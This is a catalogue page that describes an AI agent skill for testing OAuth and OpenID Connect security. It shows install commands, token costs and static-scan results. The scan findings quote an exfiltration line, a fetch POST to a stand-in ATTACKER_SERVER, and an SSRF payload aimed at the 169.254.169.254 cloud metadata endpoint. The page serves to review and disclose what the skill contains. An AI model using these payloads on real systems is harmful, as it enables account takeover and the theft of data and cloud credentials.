oauth-attacks

oauth-attacks is a skill for Claude Code, Codex from blacklanternsecurity/red-run. It costs 21 tokens per session (4,581 once invoked), scanned B, original, GPL-3.0.

A guide to testing OAuth 2.0 and OpenID Connect security flaws. OAuth lets applications grant access to resources, while OpenID Connect adds sign-in and identity information.

In plain words
What is it for?
It is for authorized reviews of social login, API authorization, token handling, and identity-provider integrations.
Why use it?
It helps find mistakes in redirects, tokens, scopes, and account linking that could expose accounts or data.

Skill for Claude CodeCodex

Which agent this was written for is unclear — body not stored (licence); the path alone says nothing.

Good fit It is for authorized reviews of social login, API authorization, token handling, and identity-provider integrations.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/blacklanternsecurity/red-run/oauth-attacks
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add blacklanternsecurity/red-run --skill oauth-attacks
Clone the repo
git clone --depth 1 https://github.com/blacklanternsecurity/red-run

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for oauth-attacks

README.md
[![agentmods](https://agentmods.dev/badge/skills/blacklanternsecurity/red-run/oauth-attacks.svg)](https://agentmods.dev/skills/blacklanternsecurity/red-run/oauth-attacks)
Your own site
<a href="https://agentmods.dev/skills/blacklanternsecurity/red-run/oauth-attacks"><img src="https://agentmods.dev/badge/skills/blacklanternsecurity/red-run/oauth-attacks.svg" alt="Measured on agentmods" height="20"></a>
Per session 21 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 4,581 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00021 $0.04581
Opus 5 $0.00010 $0.02291
Sonnet 5 $0.00004 $0.00916
Haiku 4.5 $0.00002 $0.00458

Measured 5d ago against content hash 095e0f09bf03, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade B, and why

oauth-attacks scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

fetch('https://ATTACKER_SERVER/exfil', { method: 'POST',

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

"logo_uri": "http://169.254.169.254/latest/meta-data/",

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

- curl
skills/web/oauth-attacks/SKILL.md · 605 lines

The source is not reproduced here

Licensed GPL-3.0

The repository is licensed GPL-3.0, which this catalogue does not treat as permission to reproduce the file. Read it at the source.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 5d ago First seen · 605 lines · 21 tokens per session scan B 095e0f09bf03

Subscribe to this mod's changes

oauth-attacks is a skill published in the GitHub repository blacklanternsecurity/red-run (267 stars, last pushed 5mo ago), licensed GPL-3.0. It adds 21 tokens to every session and 4,581 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it B with 3 findings (sends data to an external url, cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

api-connector-builder

Use when writing a client for someone else's REST or GraphQL API: auth flow choice and token refresh, pagination to exhaustion, retry-with-jitter on transient failures only, rate-limit-aware throttling. NOT inbound callbacks (that is webhooks), NOT chaining services (that is automation-flows), NOT designing your own…

ericrisco/rsc-harness · 80 tokens

linkedin-api

Use when wiring an app to LinkedIn's organic Posts / Community Management API — 3-legged OAuth, publishing text, article or document posts to a member profile or company page, and pulling impressions, engagement and follower stats into a durable feedback record. NOT writing the post copy (that is linkedin-content)…

ericrisco/rsc-harness · 89 tokens

zapier-sdk

Zapier SDK for TypeScript. Programmatic access to 9,000+ apps on a user's behalf via Zapier's OAuth and audit layer. Use when writing code that needs to run actions in third-party apps (send an email, upsert a CRM record, look up a spreadsheet row, post to a chat) without managing per-app OAuth or vendor SDKs.…

zapier/sdk · 151 tokens

identity-access-expert

Design authentication and authorisation: OAuth 2.1 and OpenID Connect, session and token handling, RBAC and ABAC, and multi-tenant access control. Use when the user mentions OAuth, OIDC, SAML, SSO, JWT, refresh tokens, PKCE, login flows, sessions, roles and permissions, RBAC or ABAC, or when the task involves securing…

personamanagmentlayer/pcl · 99 tokens

install

Install and configure @brainwebuk/payload-plugin-mcp-oauth — OAuth 2.1 + PKCE + Dynamic Client Registration for a Payload @payloadcms/plugin-mcp server, so it can be added as a Custom Connector in Claude.ai. Use when adding OAuth to a Payload MCP app; wiring the plugin, proxy/middleware, or env; or debugging the…

BrainWeb/payload-mcp-oauth · 122 tokens

implementacao-de-auth

Implementação de autenticação e autorização: JWT com refresh tokens, OAuth 2.0 (Google, GitHub), Supabase Auth, Firebase Auth e RBAC. Boas práticas de segurança, armazenamento seguro e LGPD compliance.

ricneves-ai/flowgrammers-skills · 52 tokens